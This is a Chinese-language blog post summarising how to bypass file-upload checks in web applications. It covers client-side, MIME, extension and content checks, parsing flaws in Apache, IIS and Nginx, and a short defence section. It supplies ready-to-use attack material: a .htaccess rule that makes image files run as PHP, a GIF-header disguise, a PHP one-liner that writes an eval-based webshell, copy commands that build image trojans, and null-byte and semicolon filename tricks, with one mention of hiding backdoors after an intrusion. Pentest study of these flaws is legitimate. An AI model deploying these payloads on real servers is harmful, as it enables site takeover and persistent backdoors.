文件上传总结

文件上传总结

0x00 上传检测流程概述

一个文件以http协议上传的时候,将以post请求发送至web服务器。服务器接受并同意后,用户与web服务器建立连接,并且传输数据而一般文件上传过程中检测部分由

  • A 客户端javascript检测 (检测文件扩展名)
  • B 服务端MIME类型检测 (检测Content—Type)
  • C 服务端目录路径检测(检测和path相关参数)
  • D 服务端文件扩展名检测 (检测文件扩展名)
  • E 服务端内容检测 (检测是否含有恶意代码)0x01 客户端检测绕过(javascript 检测)

0x01 客户端检测绕过检测 (js检测)

0x02 服务端检测绕过(MIME 类型检测)

0x03 服务端检测绕过(目录路径检测)

0x04 服务端检测绕过(文件扩展名检测)

  • 黑名单检测

    1. 文件名大小写绕过
      用像 AsP,pHp 之类的文件名绕过黑名单检测

    2. 名单列表绕过
      用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类.还有php2、php3、

    3. 特殊文件名绕过
      比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
      在 windows是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会
      被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

    4. 0x00 截断绕过
      假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00) 而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg

    5. .htaccess 文件攻击
      配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

      该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

      <FilesMatch "_php.gif">
       SetHandler application/x-httpd-php
      </FilesMatch>
      

      保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件。

    6. 解析调用/漏洞绕过
      这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

  • 白名单检测

  • .htaccess 文件攻击

0x05 服务端检测绕过(文件内容检测)

  • 文件幻数检测

    JPG : FF D8 FF E0 00 10 4A 46 49 46
    GIF : 47 49 46 38 39 61 (GIF89a)
    PNG: 89 50 4E 47

  • 文件相关信息检测

    图像文件相关信息检测常用的就是 getimagesize()函数

只需要把文件头部分伪造好就 ok 
GIF89a

<?php phpinfo();?>

  • 文件加载检测

    绕过方法:
    针对渲染加载测试:代码注入绕过
    针对二次渲染测试:攻击文件加载器

0x06 服务器解析漏洞

Apache 解析漏洞

  • 解析:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
  • 描述:若一个文件名abc.x1.x2.x3Apache会从x3开始解析,如果x3不是一个能解析的扩展名,就往前解析x2以此往复,直到能遇到一个能解析的文件名为止

IIS 解析漏洞

  • 解析:test.asp/jkl,IIS的某些版本中会直接当成asp来解析;test.asp;jkl,IIS某些版本也会按照asp来解析;任意文件名/任意文件名.phpIIS某些版本会直接当php来解析

  • 描述:

    1.IIS6.0在解析asp时有两个解析漏洞,一个是如果任意目录名包含.asp字符串,那么这个目录下的所有文件都会按照asp去解析,另一个是文件名中含有asp;就会优先当作asp来解析

    利用方法有两种:

    1. 畸形目录解析
    /xxxx.asp/xxx.jpg
    
    2. 分号文件解析
    test.asp;.jpg
    
    • 第1种是因为xxx.jpg图片文件在某个以.asp结尾的目录下面,而被IIS当成可执行文件来解析
    • 第2种虽然以.jpg结尾,但IIS 解析时忽略了分号”;”后面的部分,当成了test.asp文件来解析

    2.IIS7.0/7.5对php解析有类似Nginx的解析漏洞只要对任意文件名在url后面追加上字符串/任意文件名.php就会按照php去解析

    上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

Nginx 解析漏洞

  • 解析:

    1. 任意文件名/任意文件名.php

      将shell语句,如

      <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
      

      写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后

      copy xx.jpg/b + xx.txt/a test.jpg
      

      上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

    2. 任意文件名%00.php都当作php来解析

      xx.jpg%00.php
      
  • 描述:例如原文件名test.jpg但内容包含php一句话添加为test.jpg/x.php来进行解析攻击低版本可以子任意文件名后添加%00.php进行截断攻击

  • 对应版本:

    nginx 0.5.* [Success]

    nginx 0.6.* [Success]

    nginx 0.7 <= 0.7.65 [Success]

    nginx 0.8 <= 0.8.37 [Success]

0x07 上传攻击框架

  • 轻量级检测绕过攻击
  • 路径/扩展名检测绕过攻击
  • 文件内容性检测绕过攻击
  • 上传攻击框架

文件上传防御

1.关掉上传文件的功能

如果Web应用程序不需要上传文件的功能,则可以直接将上传文件的功能关闭来避免不必要的麻烦。打开“php.ini”文件,找到file uploads的位置,将file_uploads设置成Off。
2.限制能够上传的文件大小
如果黑客采取连续不断地上传文件,或是上传极大的文件,来使Web应用程序没有更多资源来处理其他来访者的请求,黑客就可以借此来瘫痪网站。PHP的限制机制可以让您限制允许上传文件体积的最大值,来避免来访者上传太大的文件。单独POST请求的最大值,可以使用php.ini文件的upload_max_size来设置。打开“php.ini”文件,找到upload_max_size的位置,将upload_max_size设置成想要的值。
3.检查上传文件的类型
4.检查上传文件的内容
5.上传的文件不要保存在公开的文件夹内,以避免被黑客直接读取。另外将文件的路径隐藏起来,或是将文件名称改成没有扩展名的随机文件名,都可以增加上传文件的安全性。

图片木马制作

命令:

copy /b 1.jpg+2.php

copy 1.jpg/b+lubr.php/a 1lubr.jpg


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:文件上传总结

文章字数:1,997

本文作者:Mang0

发布时间:2018-04-23, 21:39:03

最后更新:2018-11-02, 21:52:17

原始链接:http://mang0.me/archis/ea42f6a6/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏